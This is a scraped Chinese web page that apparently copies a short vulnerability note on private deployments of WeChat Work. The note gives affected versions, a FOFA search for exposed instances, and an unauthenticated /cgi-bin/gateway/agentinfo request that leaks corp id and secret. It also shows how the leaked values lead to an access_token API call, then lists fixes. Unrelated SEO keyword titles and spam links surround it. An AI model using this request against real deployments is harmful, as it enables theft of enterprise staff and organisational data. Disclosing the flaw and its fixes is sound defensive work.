当前位置: 首页 > news >正文

网站建设 广州关键词搜索指数查询工具

网站建设 广州,关键词搜索指数查询工具,wordpress 的论坛,wordpress最常用水印目录 影响版本 复现过程 修复方式 影响版本 影响私有化部署: toB toG版微信 2.5.x 版本 2.6.930000 版本以下 危险程度:高危。攻击者可以进行获取企业的部门信息,员工信息,如权限较高包括应用获取,记录文件等等均…

目录

影响版本

复现过程

修复方式


影响版本

影响私有化部署:
toB toG版微信 2.5.x 版本

2.6.930000 版本以下

危险程度:高危。攻击者可以进行获取企业的部门信息,员工信息,如权限较高包括应用获取,记录文件等等均可查看。

复现过程

fofa收集信息:

 利用:http://mydomain/cgi-bin/gateway/agentinfo,可以直接未授权获取到id和secret。

 企业微信开发者文档:

可拼接获取企业微信接口IP:https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=ACCESS_TOKEN

修复方式

 1. 联系企业微信官方获取补丁修复

 2. 限制 /cgi-bin/gateway/agentinfo 接口访问

3.  修改返回值信息,对文件加黑名单限制

http://www.khdw.cn/news/68603.html

相关文章:

  • 网站建设要写代码吗百度推广最简单方法
  • 青海建设信息网站南京网络优化公司有哪些
  • 浦东新区做网站建站的公司
  • 怎样在百度免费做网站模板下载网站
  • 金色金融公司网站源码淘宝运营培训课程免费
  • 从零开始做电影网站semantics
  • 品牌网站建设内容框架鸡西网站seo
  • 有table做的网站福建seo搜索引擎优化
  • 广东网站建设软件做运营的具体做什么
  • 广州营销型网站建设优化营商环境条例
  • 上海住房和建设交通委员会网站最强大的搜索引擎
  • 网站搬家数据库配置企点下载
  • 上海网站设计方法2345网址导航桌面版
  • 做网站有什么js特效seo推广外包报价表
  • 深圳优质网站建设案例域名服务器ip查询网站
  • 洛阳霞光企业网站建设公司文山seo
  • 网站建设都包括什么科目青岛网站建设制作公司
  • 大连网站建设培训班百度关键词搜索次数
  • 济南做网站的高端品牌seo如何优化
  • 昆山市住房和建设局网站网络营销专业是学什么的
  • 哪家做的濮阳网站建设上海网络推广培训机构
  • 怎么样做网站优化最近刚发生的新闻
  • jsp电子商务网站建设实验广州百度关键词推广
  • wordpress推荐链接廊坊seo关键词排名
  • 有趣的网站名百度网站下载
  • 用angular做的网站重庆seo网站系统
  • 网站服务费怎么做凭证北京广告公司
  • 自己做网站投放有流量么成都互联网公司排名
  • 内容型网站公司网站设计
  • 宁晋网站开发网页生成器